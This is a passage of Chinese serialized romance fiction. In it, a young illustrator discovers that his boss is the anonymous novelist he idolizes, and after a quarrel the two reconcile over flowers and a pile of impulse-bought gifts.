方闻洲回过头,正对上顾延没什么表情的脸。 “顾哥?你还没回去啊?”他有些意外。 “正要走。”顾延又问了一遍,“看你站在这儿,刚才不是说有急事?” 少年有点不好意思地弯了弯眼睛,抬手摸了摸后颈:“啊,我在等人。” “等人,等同事吗?” “不是,是一个朋友,我俩约好在这里碰头。” 顾延的眉头松动了些,就在他还打算说什么时,一道悦耳的女声从不远处传来。 “舟宝,我在这儿!!” 两人同时循声望去。只见一个女孩正快步朝这边走来。 女孩有着张小巧的鹅蛋脸,眼睛圆圆的,笑起来时会弯成月牙,颊边现出两个浅浅的梨涡。 她小跑到方闻洲面前站定,仰起脸,笑容灿烂:“好久不见啦,想死你了舟宝。” 女孩站在方闻洲身边,身高刚好到他肩膀,两人一个清俊挺拔,一个娇小灵动,看上去竟有几分说不出的和谐。 方闻洲被她这咋咋呼呼的劲儿逗笑了,完全无视了身边皮笑肉不笑的男人。 “也没有等很久,路上辛苦了,思思。” 被称做思思的女孩这才将目光转向一旁的顾延,脸上的笑容收敛了些:“这位是?” “哦,这是我上司,顾哥。”方闻洲连忙介绍。 哪知姚思听到顾延的介绍,脚下挪了半步,不着痕迹地将方闻洲往自己身后挡了挡。 她抬起脸看向顾延,“顾先生,久仰大名,我叫姚思。” 作者有话说: 第54章 第54章[VIP] “姚小姐。”顾延声音平平, “专门过来的?” “对,和舟宝约好了。”姚思手很自然地搭在方闻洲的背包带上。 顾延的回应简短,“二位认识很久了?” “有些年头了。”姚思笑了笑, “网上认识的,挺聊得来。顾先生对我们怎么认识的感兴趣?” “随口一问。”顾延的语气听不出起伏,“看他下午有点着急, 原来是在等你。” “是吗?”姚思接过话, “那他大概是盼着这顿饭,我们确实很久没见了。” 顾延的目光在姚思的手上停留了会, 又移开:“挺好,朋友难得。” “是呀, 尤其是知根知底的老朋友。” 方闻洲听着两人一来一往,总觉得气氛不太对劲。 他试着插话:“顾哥,你还不回去吗?” 顾延的嘴角似乎向下压了压。 “这么急着让我走?” 方闻洲忙摆手:“不是,顾哥,我就是” “看来是我打扰了。”顾延打断了他, 语气里听不出什么,但周围的空气好像凉了些。 他没再看方闻洲,转向姚思,“姚小姐, 玩得开心。” 说完,他没等任何回应, 转身就走。脚步比来时快,背影挺直, 透着一股孤寂。 方闻洲看着顾延离开的方向, 他转过头,脸色困惑。 “他怎么了?”方闻洲问姚思。 姚思斜睨了他一眼, “你觉得呢?” 老男人,占有欲真强。 姚思不再多说,拉了他一把,“行了,别想了吃饭去,我快饿扁了。” 两人找了家附近的餐厅坐下。点了菜,等服务员走开,姚思才又开口。 “明天见言故,东西都准备好了?” “嗯。”方闻洲点头,神情认真起来,“合同草案看了几遍,还有些关于改编的想法,也整理了。” 姚思说,“言故大大既然指定你,肯定是认可你的能力。” “希望吧。”方闻洲夹了一筷子菜,忽然问,“你说,现实里的言故大大会是什么样的人?” “猜不到。”姚思摇头,“不过肯定是个对作品很认真的人。” 方闻洲嗯了一声,心里却莫名闪过顾延的样子。 说来言故和顾延的性格有点像。 做事同样认真严肃,对在乎的事抱有执着。沉默寡言不易亲近,内心却都恪守着一套自己的准则。 “想什么呢?”姚思的声音打断了他思绪。 “没什么。”方闻洲摇摇头,把那个模糊的联想暂时按下去:“就是觉得能和自己欣赏的作者合作,挺奇妙的。” “确实。”姚思没察觉他片刻的走神,“说不定,以后还能有更多合作。” “嗯。”方闻洲应了一声,筷子在碗里拨了拨。 安静吃了几口,姚思似是想到了什么,抬头问他。 “我之前就了解你喜欢你上司,刚才他那反应,明显对你也有好感。现在你俩到底到哪一步了?” 方闻洲动作顿住:“八字还没一撇。” 姚思:“你们还没说开?” “不知道怎么开口。” 姚思放下筷子,“这有什么难的,找机会问问他不就行了。” 方闻洲没接话。 姚思看着他:“你害怕?” “有点。”方闻洲承认了,“没经验。” “谁有经验?”姚思笑了,“这种事,问清楚比猜来猜去强。你拖得越久,自己越难受。” “我知道。”方闻洲说,“就是没找到合适的时机。” “时机到处都是,下次见面就直接点问他有没有空,说想聊聊。他要是对你有意思,自然懂。” 方闻洲想了想,“那我试试。” “这就对了。”姚思语气缓和了点,“感情的事,别想得太复杂。你喜欢他,他觉得你也不错,剩下的就是两个人把话说开。” “好。”方闻洲打趣了她一句,“你今天话真多。” “嫌我啰嗦?”姚思撇了撇嘴,“还不是为你好。快吃,吃完赶紧回去休息。明天还有正事,别顶个黑眼圈去见你偶像。” 两人吃完,方闻洲送姚思上了出租车才回去。 回到住处,洗漱完躺到床上,少年脑子里又过了一遍今天一整天的画面。 顾延离开时的背影反复出现,姚思的话也在耳边不断回响。 他翻了个身,把脸埋进枕头里。 不能再这样了。猜来猜去,自己心里也总是七上八下。 姚思说得对,问清楚比瞎琢磨强。等明天和言故谈完正事,就找个休息的时间约顾延出来,把话说开。 一不做二不休。 方闻洲从床上坐起来,拿过手机点开名为“今天舟舟恋爱了吗”的群。 【一叶舟:我决定了。】 消息发出去,几秒后,回复接二连三蹦出来。 【秃头校对员:决定什么?快说!】 【言大的茶:别卖关子!】 【一叶舟:我打算跟他表白。】 【秃头校对员:!!】 【小甲:终于!舟舟你开窍了!】 【不想上班只想看文:恭喜!准备什么时候行动?】 方闻洲看着刷屏的感叹号,耳朵有点热。 【一叶舟:就这两天。等我明天下午忙完正事,就找他。】 【秃头校对员:对,趁热打铁。你明天有什么正事能比表白重要!?】 【一叶舟:要去谈个合作,见一个我很喜欢的作者。】 【言大的茶:哇,双喜临门。】 【不想上班只想看文:说起写小说的作者唉。】 【不想上班只想看文:又想到言故大大了,这都多久了,一点消息也没有。】 【小甲:哎呦,别提了,我心痛。】 【言大的茶:谁说不是呢。我每天刷他主页,就想着有天可以看到言故老大的新动态。】 【不想上班只想看文:可能现实生活太忙了吧。】 【小甲:希望如此吧,只要不是真的封笔了】 【一叶舟:】 方闻洲看着屏幕,没敢接话。 群里的人还不知道他就是网络上鼎鼎有名的闻舟,更不知道他即将合作的对象正是她们时常提起的言故。 【秃头校对员:好了好了打住,话题跑偏了。】 【言大的茶:对,先不说老大的事情了,舟舟的事要紧。】 【不想上班只想看文:打算约他在哪儿说?】 【一叶舟:还没想好,可能就周末,约他出来吃个饭?】 【秃头校对员:吃饭可以,但别选太吵的地方,安静点好说话。你打算空手去?要不要带点什么?】 【一叶舟:带东西?带什么?】 【言大的茶:带点小礼物啊,能表达心意的那种。】 【一叶舟:好,我大概有主意了。谢谢大家。】 【秃头校对员:客气什么呀,加油舟舟,我们等你的好消息。】 【不想上班只想看文:早点休息,你不是明天还有正事吗?】 屏幕上群友们催他休息,方闻洲心里暖暖,打下回复。 【一叶舟:好,你们也早点休息。晚安。】 发完这条,他退出群聊,放下手机。 不少人表白好像都是直接选花。简单明了,一眼就能看懂什么意思。 他附近好像是有花店的,回家路上街角拐过去就有一家,门面不大,但橱窗里经常摆着各种花。 到时候直接过去看看,选一束顺眼的花。 至于具体买什么花,他不太了解。不过没关系,到时候问问花店的人就行,就说是表白用的,让他们推荐。 想好了这一点,心里最后那点不确定也落了地。 他闭上眼。 明天要见言故,现在要养精蓄锐,然后等到周末就去买花约顾延,把该说的话说清楚。 第二天清晨,方闻洲比平时早了一些到公司。 他放下包坐进工位打开电脑。文档加载的间隙,他抬头往办公室入口看了看。几个人陆续进来,都不是顾延。 上午十点多,赵屿凑过来问一个技术问题。 聊完,方闻洲随口问:“看到顾哥了吗?” 赵屿摇头:“没啊。早上就没见着。” “哦。” 午休时他去茶水间冲咖啡,听见两个其他部门的同事在低声交谈。 “顾哥今天好像没来?” “嗯,听说是请假了。上午就没见人。” “少见啊,顾哥自从来公司之后,就很少见他有请假。” “可能有事吧。” 方闻洲握着杯柄的手顿了顿。咖啡粉倒进滤纸,热水冲下去,香气漫开。他盯着深褐色的液体一点点滴落,没说话。 下午的工作并不繁重。处理完两张场景稿,又回复了几封邮件,不觉间,一天便过去了。 临下班时,方闻洲把桌面文件归拢好,准备去赴言故的约。手机震了一下,是姚思发来的消息。 【姚思:我到你们楼下了。】 方闻洲回了句好,起身收拾背包。 走到楼下时,恰好遇到隔壁项目组的两个同事,其中一人看见他,笑着打了声招呼:“闻洲,下班啦?” “嗯。”方闻洲点点头。 “昨天好像也看到这美女在楼下等你?”同事调侃,“女朋友吗?真够贴心的还来接下班。” 方闻洲愣了一下,随即反应过来对方说的是姚思。 “不是,是好朋友,来找我吃饭的。” “我明白,那种朋友嘛。”同事脸上笑意更深,明显没全信。 到了一楼,方闻洲刚走出大楼,果然看见姚思站在不远处的树荫下,正低头看手机。他快步走过去。 “等很久了?”方闻洲问。 “刚到。”姚思收起手机。 两人正要往路边走,刚才遇到的同事也出来了,经过时笑着朝方闻洲挤了挤眼,又冲姚思的方向抬了抬下巴,意思不言而喻。 姚思何等敏锐,立刻察觉,挑眉看向方闻洲:“什么情况?” 方闻洲有点无奈,“他误会了,以为你是我女朋友。” “那你可得赶紧澄清清楚。这话要是传到某个相关人士耳朵里,惹出什么误会就不好了。” 少年不以为意,斩钉截铁:“不会的。” 作者有话说: 第55章 第55章[VIP] 姚思听他这么说, 也不再多劝。 “行吧,你心里有数就行。” 两人昨天下午已经提前来这附近走过一遍,对路线有印象。没费什么功夫, 就找到了那家餐厅。 餐厅门面低调,藏在一条安静的支路旁。门口挂着一个木牌,刻着店名。 姚思推开门, 方闻洲跟着走进去。 里面光线柔和, 环境安静。服务生迎上来,确认了预约信息, 领着他们往里面走。 他们预定的是包厢,包厢里装饰不多, 一张圆桌几把椅子,靠墙有个小置物架。窗户对着外面的小庭院,隐约能看到植物。 两人坐下。服务生递过菜单,站在一旁。 今天他们是乙方,作东请客, 点菜是分内的事。 方闻洲打开菜单,点了七菜一汤。 “你看这些行吗?” “行,够了。”姚思回答。 方闻洲合上菜单,递给服务生:“先备着, 等会儿再上。” “好的。”服务生记下,拿着菜单出去了。 服务生离开后, 包厢里安静下来。窗外的庭院里,天色又暗了一些。 姚思端起茶杯喝了一口:“这茶还行。” 方闻洲也拿起桌上的水壶, 给自己也倒了一杯。 不多时, 门外传来脚步声,在包厢门口停下。门被敲了两下, 接着被推开。 进来的是个看起来三十岁左右的女性,穿着得体的套装,手里拿着一个公文包。她朝两人微微颔首。 “二位好,我是林佳,言故老师的责编。”她朝两人伸出手,解释了句:“言故老师路上有点堵车,让我先过来打个招呼,他马上就到。” 方闻洲和姚思立刻站了起来同林佳握手。 “林编辑您好,我是方闻洲,这位是姚思。”方闻洲说。 “二位请坐,不用客气。” 林佳在空着的椅子上坐下,把公文包放在一旁。 “方先生比我想象中还要年轻。之前看过闻舟老师的一些作品,笔触和故事感都非常出色,没想到本人这么年轻。” 方闻洲说:“林编辑过奖了,我还需要多学习。” “不必谦虚,能在这个年纪就有这样的成绩和口碑,很难得。” 姚思适时接过话头,微笑道:“林编辑能担任言故老师的责编,专业能力肯定非常出色。我们社团很多成员都是言故老师的书粉,这次能有合作的机会,大家都很兴奋。” “主要是言故老师自己的作品好,我的工作不过是做好辅助。”林佳转向姚思道:“姚小姐能把兴趣社团经营得有声有色,协调各方资源,这份组织能力才是真本事。” 见话题转到姚思身上,方闻洲也跟着说:“思思确实很厉害,社团里很多事务都是她在统筹。” 短暂的客套寒暄告一段落,话题落回正事,包厢内的气氛也更偏向工作前的预备状态。 “言故老师对这次合作很上心,有些关于核心情节漫化的想法,等会儿可以和他详细聊聊。” “好的,我们也准备了一些初步的思路。”方闻洲认真应道。 林佳抬手看了眼腕表:“时间差不多了,言故老师应该到了。” 林佳说着,从椅子上站了起来。 “我下去迎一下。” 方闻洲和姚思见状,也跟着站了起来。 “我们和您一起去吧。”方闻洲说。 林佳没有推辞,“也好。” 走到餐厅门口,外面天色已经完全暗了下来。街道两旁的路灯亮着,路上行人不多。晚风吹过来,带着夏夜特有的微暖气息。 林佳站在门内一侧,目光投向街道来车的方向。方闻洲和姚思站在她旁边稍后一点的位置。 一时间没人说话。方闻洲看着街上来往的车灯,大约两三分钟后,一辆黑色的轿车缓缓减速,停进餐厅门前的临时停车区。 方闻洲的目光下意识地追随着那辆车。车身的线条与颜色,让他感到一种说不出的熟悉感。 他的手指蜷缩了下,恰在此时,身前的林佳说了句:“人来了。” 驾驶座的车门被推开。 一只穿着黑色皮鞋的脚迈出,踩在地面上。接着是修长的腿,挺拔的身形。 顾延从车里走了出来。 方闻洲的呼吸停住了。 他看见顾延关上车门转身,朝餐厅门口走来。 林佳已经迎上前去:“你来了,顾延。” 方闻洲站在原地没动。顾延走到门口,目光掠过林佳,落在了方闻洲身上。 少年的手指收紧,指甲抵在掌心,脑子里面一片混乱。 他想,不可能。 顾延怎么会是言故? 这两个人,怎么可能是同一个? 无数画面和声音争先恐后地涌进了他的脑海。 他想起曾经在顾延面前,不止一次的夸奖过言故。 “我最喜欢的作者就是言故。” “言故大大的文笔真是太好了,逻辑强,人物塑造的有血有肉。” 他当时说得那么真诚,全然不知听者就是本人。 方闻洲的手心开始出汗,迟来的窘迫和被愚弄的钝痛感从胸口蔓延开。 他又骗了自己一次,他又骗了自己一次! 那个在网络上让他心生敬仰的作者,和眼前这个心思难测的上司是同一个人。 而这个人,早就知道他是闻舟,早就知道他在网络另一头所有的崇拜,却一直冷眼旁观,看他像个一无所知的傻瓜,一遍遍在自己面前热烈地褒扬着另一个他。 顾延的目光落在他脸上,眼神平静,就像他平时在公司里看任何人一样。 唯有颤抖的手能透露些许男人的心神。 方闻洲只觉得那人的目光像刺细细密密地扎过来。 林佳没察觉到空气中的异样,她做了个简单的手势。 “介绍一下,这位就是言故老师,本名顾延。顾延,这位是闻舟,本名方闻洲,旁边是姚思,社团的负责人吐司。” 方闻洲没说话,他的手握了一下,又松开。街灯的光从侧面照过来,在他脸上投下一小片不动的影子。 姚思也好不到哪里去,到现在全然不顾自己的形象,张大了嘴看向顾延。 林佳总算是反应过来气氛不对劲,她的视线在三人身上扫了个来回。 “你们几个认识?” 林佳话音落下,客气诡异的静止了几秒,唯有夜风还在流动。 一直沉默的方闻洲突然开了口。 “不认识。”他的声音响起,打破了僵局,“今天是第一次见。” 少年脸上激烈的波动已经敛去,他朝顾延伸出手。 “言故你好,我是闻舟。” 语气带着刻意的疏离,没了往常的鲜活,仿佛真的只是在面对一个初次见面的陌生人。他的手停在半空,等待一个礼节性的握手。 顾延看了看那只手,又抬眼看向他的脸。停顿了一下,才伸出手。 两只手短暂地交握,随即分开。 “你好。”顾延回应道。 林佳站在一旁,似乎想说什么,但看了看两人的状态,又把话咽了回去,“原来如此,那我们别站在门口了,进去聊吧?菜应该快准备好了。” 姚思这才跟着反应过来,连忙附和:“对,进去聊。” 四人回到包厢,各自落座。方闻洲选了离顾延最远的位置。 林佳从公文包里取出文件,放在圆桌中央:“这是《隐喻》漫改的初步框架,还有言故老师标注的一些核心情节节点。我们边吃边谈?” “好。”方闻洲拿起自己面前的那份文件,翻开。 接下来的讨论围绕着文本与画面的转换展开。方闻洲和顾延之间的对话,大多经由林佳或姚思传递。整个过程中,方闻洲的视线从未落到顾延身上。 时间悄然流逝,合作的细节逐一敲定,进展得出乎意料地顺利。 合作事宜大致谈妥,林佳将文件收进公文包。她看了眼时间,已经过了九点。 “那今天先到这里。”林佳说,“具体的合同和排期,我回去整理好再发给你们确认。” 几人站起身,方闻洲将自己的东西装回背包,跟着大部队走到餐厅门口。 夜晚的凉意比来时更明显了些,路灯的光晕在地上拓出几团模糊的黄。 顾延手里拿着车钥匙,面朝方闻洲问:“你们住哪里?我送你们。” 林佳闻言转过脸看顾延,脸上露出些许讶异:“你什么时候这么热心了?” 顾延没接这句话,等着少年的回答。 方闻洲正低头看着手机屏幕,手指在上面划了几下,听到顾延的话,他抬起脸。 “不用。”方闻洲说:“我们叫的车快到了。” 他说完,把手机屏幕转向姚思。 姚思大概也明白方闻洲此时不想面对顾延,于是由她对顾延和林佳解释道:“是的我们已经叫车了,就不麻烦顾老师了。” 顾延握着车钥匙的手紧了瞬,钥匙的边缘硌着他的手心。 “好。”他最终说道,“路上注意安全。” 几乎是顾延话音落下的同时,方闻洲的手机铃声也响了,他看了一眼。 “车到了,林编辑,我们两个就先走了。” 林佳:“嗯嗯,路上小心。” 街边停着一辆打着双闪的白色网约车。少年拉开车门坐进去,自始至终都未看那男人一眼。 轿车驶离路边,很快汇入夜晚的车流,消失在路口转弯处。 车门关上,方闻洲靠进座椅,从口袋里拿出手机。 屏幕亮起。他点开微信,手指滑动,找到署名为G的联系人。 长按删除,确认。 接着切换到另一个账号的列表,找到言故,进行了同样的动作。 做完这一切,少年把手机重新放进口袋里。 车厢里很安静,姚思坐在一旁。 “思思。”方闻洲开口。 “嗯?” “后面和版权方对接的事,”他说,“你转给我。” 作者有话说: 第56章 第56章[VIP] 餐厅门口, 林佳挑眉问:“你是不是惹人家了?” 顾延没接话,拿起手机给方闻洲发了个消息。 【G:。】 消息气泡前出现了一个红色的感叹号,下方显示出一行系统提示。 消息已发出, 但被对方拒收了。 顾延的手指顿在屏幕上,盯着屏幕上的红色感叹号,下颌的线条收紧。 一旁的林佳看到了他脸色不好, 也不再多说什么, 摇了摇头。 —— 白色网约车停在酒店门口,姚思从车上下来, 有点不放心的看向方闻洲。 “洲洲” “我没事,早点回去休息。” 姚思清楚现在方闻洲需要自己一个人静一静, 就连她得知顾延和言故是一个人都难掩震惊,更何况是方闻洲。 她不再多说什么,和少年挥手道别:“回去早点休息。” “好。” 车门关上。车子重新启动,载着方闻洲驶向他租住的小区。 夜间的道路畅通,车子很快停在熟悉的楼下。方闻洲付了钱, 推门下车,转身准备走进楼里。 一束车灯的光从侧面打来,将他前方的路面照亮,那辆熟悉的黑色轿车就停在几米外的路边。 方闻洲瞥了一眼那辆车, 脚步没停,继续朝单元门走去。 身后传来车门开关的声响, 紧接着是急促的脚步声。一只手从后面伸过来,抓住了他的手腕。 那只手力气不小, 握得很紧。方闻洲被迫停下, 转过身。 顾延站在他面前,气息有些乱, 见到少年不耐烦的皱眉,他握着方闻洲手腕的手指收得更紧了些。 “放手。”方闻洲说。 “我们谈谈。” “没什么好谈的。”方闻洲试图抽回手,“顾延,我叫你放手。” 顾延没放,“你把我删了。” 方闻洲承认,不再挣扎,站在原地:“对,有问题吗?” “为什么。” “你觉得呢?”方闻洲反问:“顾总,我以为刚才在餐厅已经说得很清楚了。工作归工作,我会做好分内的事。至于其他的,我没兴趣陪你玩这种你瞒我猜的游戏。” “我没有想骗你。” 方闻洲扯了扯嘴角。 “没有?那我之前每次在你面前夸言故的时候,你在想什么?看着我对另一个身份的你那么崇拜,是不是觉得特别有意思?” 顾延的喉结滚动了一下:“我” “你什么?”方闻洲没给他机会,直接截断了话头,“我现在不想听你说话,最后说一遍,放手。” 顾延的手松开了。 力道卸去,方闻洲立刻收回了胳膊,他转身就走,几步跨到单元门前,推门而入。 门外的声控灯因脚步声亮起,又随着他消失在门后而熄灭。 最后一点光也暗了下去。 顾延的手垂在身侧,手指蜷起,又慢慢松开。他站在那里,直到楼上的某扇窗透出灯光。 夏日的天气说变就变。几滴冰凉的水珠毫无预兆地砸在顾延的额头上,紧接着,更多的雨点落下来,起初稀疏,很快就连成了线。 楼上的灯光在雨幕中变得模糊,晕开一团昏黄的光晕。 雨水顺着顾延的发梢不断滴落,顾延站在雨中,又等了一会儿,想见的人始终没有出现,他垂下眼帘,朝停在路边的车走去。 顾延坐进车里,关上车门。雨点急促地敲打着车窗。 他从储物格里抽出几张纸巾,擦掉脸上和发上的雨水。纸巾很快湿透,被他揉成一团,握在手里。 车内很安静,只有雨声。 顾延拿出手机,屏幕在昏暗的车内亮起。他点开微信,在列表中找到熟悉的头像,刺眼的红色感叹号还留在对话框里。 他盯着那个红色标记看了几秒,然后退出了微信,点开了另一个应用。 微博的图标在屏幕一角,他登录的是认证过黄V,却许久没有使用过的账号。 顾延点进微博的发布框,打了几个字,发出了半年以来的第一条微博。 【言故:把人惹生气了,要怎么哄?】 —— 方闻洲洗完澡,擦着头发从浴室出来。放在床头柜上的手机正嗡嗡震个不停。他走过去,拔掉充电线,拿起手机。 屏幕亮起,锁屏界面已被各种通知堆满。最上方名为“舟舟今天恋爱了吗”的小群消息已经刷到了999+。 【秃头校对员:我的天!!言故大大发微博了!!】 【言大的茶:有生之年系列,我差点以为言故大大被外星人绑架了。】 【小甲:活久见不过这是什么问题?把人惹生气了怎么哄?】 【不想上班只想看文:啊啊啊是谁惹言故老大生气了,哦不对是言故老大把谁惹生气了?!】 【言大的茶:不管是谁,我酸了。】 【秃头校对员:只有我觉得,能让言故大大这么问的人,关系一定不一般吗?】 他本打算和群里说清楚自己不会表白,然后解散这个群。此刻看到群里异常热烈的讨论,他手指动了动,也跟着发了一条消息。 【一叶舟:?】 方闻洲的消息刚发出去,就被刷了上去。 【秃头校对员:舟舟,快看微博,言故大大活了。】 【小甲:而且一活过来就问怎么哄人,我合理怀疑言故大大有情况了。】 方闻洲擦头发的手停了一下,他站在床边,毛巾还搭在头上。 群里消息还在飞快地往上刷,搞清楚起因经过的少年犹豫了两秒,还是点开了微博。 特别关注列表里,那个沉寂已久的ID出现了一条新动态,发布时间就在几分钟前。 【言故:把人惹生气了,要怎么哄?】 短短几分钟,评论区已有几百条留言,且数量仍在飞速增加。 评论区里面和群里的反应相同,大多都在猜测言故是否有了情况,还有不少CP粉在哀悼自己磕的CP可能BE了。 毛巾从头上滑下来掉在地上,方闻洲把毛巾从地上捡起来,扔到椅子上。 评论区里热闹得很,猜测纷纭。只有他知道这条微博是发给谁的。 顾延是在问他,用这种方式,隔着成千上万的陌生人,在问要怎么样才能原谅他。 方闻洲又看了一遍那条微博,下面的评论还在增加,每刷新一次就多出几十条。 他站了一会儿,突然心神一动,走到了窗边,往下看。 楼下的路灯光线昏黄,被雨水浸湿,在地上晕开一片模糊的光。顾延的车还停在原来的位置。 雨势渐小,化作细密的雨丝,车里的灯是暗的,驾驶座那边车窗开了一条缝,有淡淡的烟雾飘出来,很快被雨丝打散。 方闻洲看了一眼手机上的时间,快十一点了。从他回家到现在,已经过去将近两个小时。 快两个小时了。顾延就一直坐在车里。他打算在车里待到天亮吗? 方闻洲站在窗边,手指捏紧了窗帘,布料在他指间皱起一团。 在他印象里,顾延从来都是冷静自持的。像这样在别人楼下枯等到半夜的事,他无法想象顾延会去做。 然而今晚,顾延打破了他一贯的印象。 方闻洲松开了捏着窗帘的手指,布料滑落垂回原处。 刚才楼下的情形浮现在脑海里。男人拉住他手腕时,眼里的恳求他不是没看见。只是当时正在气头上,哪里顾得上这些。 冲过一个热水澡后,翻腾的怒意渐渐平息,理智回笼。此刻再想起来,他心里忽然又有些不是滋味。 胸口像是有口气堵住,上不去也下不来。 言言似乎也察觉到他差劲的心情,用毛茸茸的脑袋在他脚踝处蹭了蹭。 Lбобп╔·柔软温热的触感让方闻洲回过神,他低下头,小猫正仰着脸看他。 “言言。” 方闻洲下意识叫了它一声,话音刚出口,却又顿住了。 念出这个名字,他的脑子里面就自然而然的联想到了言故。 少年瞬间就明白了当初顾延给小猫取这个名字时,究竟存着怎样的心思。 方闻洲轻轻叹了口气。 他伸手揉了揉小猫的脑袋,然后转身走到玄关,拉开柜门,从里面取出了一把伞。 细密的雨丝包裹过来,伞面在头顶撑开一小片天地。他朝着停在路边的黑色轿车走去。 车边飘来极淡的烟味,混在潮湿的空气里。方闻洲停下脚步,透过未关严的车窗看了进去。 顾延坐在驾驶座上,指间夹着一支烟。他微微低着头,手机屏幕亮着,上面显示的是他们过往的聊天记录。 许是过于专注的原因,男人并没有察觉到站在车外的少年。 方闻洲抬起手,叩了叩驾驶座的车窗。 车内的身影猛然一震,指间的烟灰簌簌落下。顾延倏地转过头,隔着布满雨痕的车窗,看见了站在伞下的少年。 车内光线昏暗,但不妨碍方闻洲看见男人泛红的眼眶,以及眼白里隐约透出的血丝。 顾延愣了一下,随即飞快地眨了两下眼,将脸别向另一边,像是在掩饰什么。 片刻,他又转回头,似乎想开口,却忽然意识到指间还夹着烟。他立马将烟按熄并伸手降下了副驾驶的车窗。 夜风灌进来,很快驱散了车厢里残留的气味。 作者有话说: 第57章 第57章[VIP] 车内的气味散净, 顾延推开车门下了车。 雨丝落在他的头发和肩上,但他没管,直接绕过车头, 走到方闻洲面前,伸手拉开了副驾驶的车门。 “你要进来坐坐吗?” 这句话问得有些迟疑。话音落下,他的目光紧紧的落在方闻洲的脸上, 观察对方的神态变化。 他在等一个回答, 同时也做好了被拒绝的准备。 少年本就是来解决问题的,没多犹豫, 收了伞便坐进副驾。 车门被带上,发出轻微的声响。顾延却仍站在原地, 目光有些怔然地落在已然坐定的少年身上。 方闻洲被他看得有些不自在,板着脸看向窗外,硬邦邦地甩出一句:“还不进来?” 现如今方闻洲的话对顾延而言如同圣旨,就在他刚说完没两秒,顾延就已迅速坐回驾驶座上。 明明刚才站在雨里敢直视他的男人, 一上了车就坐得异常端正,双手规规矩矩地搭在方向盘上,目光垂落再也不敢看向少年。 “对不起。” 窗外的景象一片朦胧,如同方闻洲此刻的心绪。 原谅的话到了嘴边, 却被委屈与难堪堵了回去。他唇瓣微启,最终也未能对那声道歉给出任何回应。 顾延等不到回应, 心沉了沉,“隐瞒言故的身份, 是我的错。从在公司确认你就是闻舟那一刻起, 我就该告诉你。” 方闻洲问:“那为什么不和我说?” “你刚来公司时,躲我躲得那么明显。我想要接近你, 只能借用言故这个身份。” 顾延的话,让方闻洲想起了刚入职时的情形。 当年,他为了省去麻烦,总是刻意回避顾延,竭力将两人的交集降到最低。 他原以为这样便能相安无事,没想到是由于他的刻意疏远,反而促使顾延换了身份来接近他。 男人的声音再次响起,“我担心,一旦你知道这两个名字背后是同一个人,就会把对顾延的反感一起移到言故身上。” 方闻洲沉默了一会儿,突然话锋一转:“你今晚发那条微博,是什么意思?” “我不知道该怎么哄你才能让你消气。” 顾延抬起头,终于敢将视线转向方闻洲。少年的侧脸在昏暗的光线下显得有点冷硬,但颤动的睫毛泄露了他内心的动摇。 “你可以再给我一次机会吗?方闻洲。” 车厢里只剩下空调出风口细微声音,方闻洲能感觉顾延目光的重量,沉甸甸地压在自己身上。 就在方闻洲的嘴唇动了动,一个音节即将滚出喉咙。 “嗡——嗡——” 顾延放在一旁的手机突兀地震动起来,屏幕上显示的是外卖员的号码。 这声响打破了车内不寻常的氛围,也将方闻洲即将出口的回答堵了回去。他抿紧了唇,将脸转向车窗,重新看向外面的灯光。 顾延按下接听:“嗯,是我。对,停在路边的黑色汽车好,麻烦你了。” 简短的通话结束,顾延放下手机,对方闻洲解释道:“不好意思,刚才买了点东西,没想到外卖员来的这么快。” “没事。” 因为这通电话,两人之间谁都没有再开口说话,刚才那个悬而未决的话题,也被搁置在一旁,无人提及。 大约几分钟后,一辆电动车的灯光透过雨幕,缓缓停在了奥迪车旁。穿着雨衣的外卖员下车,低头快速核对了手机信息,随即从保温箱中取出一个细长的纸盒。 纸盒包装颇为精致,深灰色的绸带在顶端系成一个蝴蝶结,显然并非寻常的外卖餐食。 外卖员小跑到驾驶座一侧,“先生,您的外卖。” 顾延降下车窗,接过盒子:“谢谢。” 车窗重新升起,隔绝了外面细密的雨丝,顾延将手里的纸盒送到方闻洲面前:“送你的。” 方闻洲的视线从窗外收回,落在突然呈到眼前的盒子上,眼里浮起一丝讶然,“送我的?” “嗯。” 纸盒不算重,但落在腿上颇有实感。方闻洲垂眼,看着腿上这个横亘进来的物件。 “这是什么?” “花。” “为什么送我花?” “有人在微博下面留言,说想求在意的人原谅,可以送花试试。” 方闻洲用手指勾开绸带系的结,深灰的带子滑落。他掀开纸盒盖。 里面是一束玫瑰。白色的花瓣,边缘晕着极浅的紫,在车内昏暗的光线下显得格外干净。花束不大,用素色纸简单包裹着,没有多余的缀饰。 他看了一会儿,然后盖上盒子,将纸盒搁在两人之间。 “我看到了你那条微博,”方闻洲说,“下面好多人在教你,买表,买吃的,买各种东西,你怎么就选了送花?” “不是只选了送花。” “嗯?” 方闻洲没听懂话中的含义,顾延索性拿起手机,解锁点开屏幕,递到方闻洲面前。 映入眼前的是购物软件的订单页面,长长的一列。最上面是刚才送到的鲜花订单,下面还有十几条记录,时间都在今晚。 腕表、钢笔、最新款的数位板、甚至还有一条围巾,尽管现在是夏天。 他往下划了划,没划到头。 “?” 方闻洲有些茫然地看向身旁的人。 “这些都是你刚买的?” “对,怎么了?” 顾延答道,语气听起来没什么异常,好像下单十几件东西是件很普通的事。 方闻洲顿了几秒,一时间不知道该接什么话。 没等他组织好语言,顾延的手机再次响起。这次屏幕显示的是一个高端商场的专线。 顾延按下接听,并打开了免提。 “顾先生您好,您订购的腕表已由专员送至附近区域,请问您现在的具体位置是?” “XX小区XX单元楼下。” “好的,专员将在十分钟内抵达。” 通话结束。不到五分钟,一辆黑色商务车靠近停下。一位手戴白手套的男士撑伞走来,将一个印着品牌标志的硬质小箱递入车窗。 “顾先生,请您查验。” “谢谢。” 男士离开,小皮箱被顾延放在了玫瑰花盒旁边。 接下来的一段时间不断有电话打进来,方闻洲身侧逐渐被这些大小各异的盒子占据。 顾延的手机屏幕又亮了,显示还有商品在路上。 方闻洲呼出一口气:“顾延,你到底买了多少东西?” 顾延:“每个平台都买了点,忘记了。” 方闻洲闭了闭眼,伸出手:“手机给我!” 虽然不太清楚方闻洲想要做什么,顾延还是将手机放进他手里。 屏幕还亮着,停留在购物软件的页面。方闻洲点开订单列表,将那些显示待发货的商品一件件找出来,逐个操作退款。 顾延安静等他操作,等少年终于将所有商品退款完成,才开口:“你不喜欢这些吗?” 方闻洲把手机递回去,“不是不喜欢。” “那为什么全退了?” “太多了堆不下,而且很多东西,并不是我现在需要的。” 顾延低下头,“哦,那你还在生气吗?” 方闻洲抱着胳膊,轻轻哼了一声。 其实早就不生气了。 当顾延笨拙地把那些他认为好的东西一样样送过来时,他就不生气了。 